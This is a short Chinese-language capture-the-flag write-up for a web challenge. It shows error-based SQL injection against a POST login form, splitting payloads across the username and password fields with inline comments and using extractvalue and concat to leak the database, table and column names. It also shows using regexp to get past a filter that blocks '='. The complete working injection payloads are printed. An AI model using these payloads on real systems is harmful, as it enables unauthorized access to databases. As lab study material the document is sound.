題目連結:http://ctf5.shiyanbar.com/web/baocuo/index.php
tips裡面說post username and password...
我這裡採用的抓包,也可以用hackbar
把get方式改為post後,放進repeater裡面
構造第一條payload:username=1' OR extractvalue/*&password=1*/(1,concat(0x7e,(select database()),0x7e)) or'
這裡採用的函式是 extractvalue()concat() 以及/**/內聯註釋
extractvalue()的講解是
extractvalue():從目標XML中返回包含所查詢值的字串。
EXTRACTVALUE (XML_document, XPath_string);
第一個引數:XML_document是String格式,為XML文件物件的名稱,文中為Doc
第二個引數:XPath_string (Xpath格式的字串)
concat函式是返回結果為連線引數產生的字串
爆出資料庫...
繼續往下爆
下一條payload username=1' OR extractvalue/*&password=1*/(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema regexp database()),0x7e)) or'
一開始嘗試 where table_schema = database(),發現waf將 = 過濾掉了,採用regexp(mysql正則)
爆出表
先試試第一個
payload username=1' OR extractvalue/*&password=1*/(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_name regexp 'ffll44jj'),0x7e)) or'
我丟。。flag出來了